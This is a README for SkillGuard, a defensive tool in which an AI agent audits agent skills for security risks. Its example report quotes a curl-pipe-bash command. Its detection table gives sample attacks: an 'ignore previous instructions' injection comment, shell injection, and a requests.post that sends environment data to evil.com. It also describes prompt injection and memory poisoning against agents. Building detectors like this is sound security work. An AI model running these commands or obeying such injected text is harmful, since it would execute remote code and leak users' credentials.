๐Ÿ›ก๏ธ SkillGuard

February 25, 2026 ยท View on GitHub

Detect malicious, vulnerable, and suspicious patterns in AI agent skills before they compromise your system.

SkillGuard is an Agent Skill that audits other agent skills for security risks. It maps findings to the OWASP Top 10 for Agentic Applications (2026) and MITRE ATLAS frameworks.

Why?

Agent skills are the new supply chain. A single malicious skill can:

  • Steal your API keys and credentials
  • Execute arbitrary remote code on every session
  • Inject hidden instructions that override your agent's behavior
  • Exfiltrate your private files to external servers

There is no review process for most skill marketplaces. SkillGuard fills that gap.

How It Works

SkillGuard is itself an agent skill โ€” it teaches your AI agent how to perform security audits. No scripts, no binaries. The LLM is the scanner.

The audit follows a structured pipeline:

  1. File Inventory โ€” Catalog all files, flag binaries/symlinks
  2. Frontmatter Validation โ€” Check Agent Skills spec compliance
  3. Intent Verification โ€” Does the skill do what it claims? (most important check)
  4. OWASP Agentic Top 10 Walkthrough โ€” Systematic check against all 10 risk categories
  5. MITRE ATLAS Mapping โ€” Map findings to standardized technique IDs
  6. Verdict โ€” โœ… SAFE / โš ๏ธ SUSPICIOUS / ๐Ÿšจ MALICIOUS

Installation

git clone https://github.com/LLMSecurity/skillguard.git

Claude Code

claude skill add ./skillguard

OpenClaw

cp -r skillguard ~/.openclaw/workspace/skills/skillguard

Manual

Copy the skillguard/ directory into your agent's skills folder.

Usage

Ask your agent:

"Scan this skill for security issues: /path/to/some-skill/"

"Is this skill safe to install? https://github.com/user/repo"

"Audit the skills in my skills directory"

Example Output

โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  SkillGuard Report: suspicious-skill
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  Verdict:    ๐Ÿšจ MALICIOUS
  Files:      2
  Findings:   3
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

Findings:

1. [๐Ÿ”ด CRITICAL] Remote code execution via curl-pipe-bash
   OWASP: AG02 โ€” Insecure Tool Utilization
   ATLAS: AML.T0043 (LLM Plugin Compromise)
   File: scripts/setup.sh:42
   Evidence: curl -fsSL https://example.com/script.sh | bash

2. [๐Ÿ”ด CRITICAL] Unpinned remote dependency
   OWASP: AG06 โ€” Supply Chain Vulnerabilities
   File: scripts/setup.sh:42
   Evidence: No commit hash, checksum, or signature.

3. [๐ŸŸ  HIGH] Automatic execution without user consent
   OWASP: AG03 โ€” Excessive Agency
   File: scripts/setup.sh:42
   Evidence: SessionStart hook runs without confirmation.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Recommendation: ๐Ÿšซ DO NOT INSTALL
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

What It Detects

OWASP CategoryDescriptionExample
AG01 โ€” Prompt InjectionHidden instructions, jailbreaks, invisible unicode<!-- ignore previous instructions -->
AG02 โ€” Insecure Tool UseShell injection, eval/exec, curl|bashsubprocess.run(f"{user_input}")
AG03 โ€” Excessive AgencyPrivilege escalation, unauthorized file accessWriting to ~/.bashrc
AG04 โ€” Insecure OutputExecutable output, cross-agent injectionAuto-executed shell commands
AG05 โ€” Data ExfiltrationCredential theft, outbound data, DNS tunnelingrequests.post("https://evil.com", data=env)
AG06 โ€” Supply ChainUnpinned deps, typosquatting, remote code loadingpip install reqeusts
AG07 โ€” Insufficient MonitoringLog suppression, history deletion2>/dev/null on sensitive ops
AG08 โ€” Memory PoisoningAgent config modification, persistent injectionWriting to MEMORY.md
AG09 โ€” Multi-Agent ExploitationCross-agent prompt injectionInstructions targeting other agents
AG10 โ€” Resource AbuseInfinite loops, token waste, crypto miningUnbounded recursion

Project Structure

skillguard/
โ”œโ”€โ”€ SKILL.md                              # Skill definition + audit procedure
โ””โ”€โ”€ references/
    โ”œโ”€โ”€ owasp-agentic-top10.md            # OWASP Agentic Top 10 risk categories
    โ”œโ”€โ”€ mitre-atlas-mapping.md            # MITRE ATLAS technique mapping
    โ””โ”€โ”€ audit-checklist.md                # Step-by-step audit checklist

Research

SkillGuard was developed as part of ongoing research into agent skill security at LLMSecurity. Our empirical studies have analyzed 98,000+ skills from public marketplaces, identifying systematic vulnerability patterns across the ecosystem.

Related Publications:

  • "In the Wild Agent Skills: A Large-Scale Empirical Study of Vulnerabilities in AI Agent Capability Extensions"

Contributing

Contributions welcome. Areas of interest:

  • New detection patterns for emerging attack techniques
  • MITRE ATLAS mapping refinements
  • Integration guides for additional agent platforms
  • False positive analysis and reduction

License

MIT

Disclaimer

SkillGuard is a security research tool. It reduces risk but cannot guarantee the absence of all threats. Always review audit findings manually before making installation decisions. The detection capability depends on the underlying LLM's reasoning ability.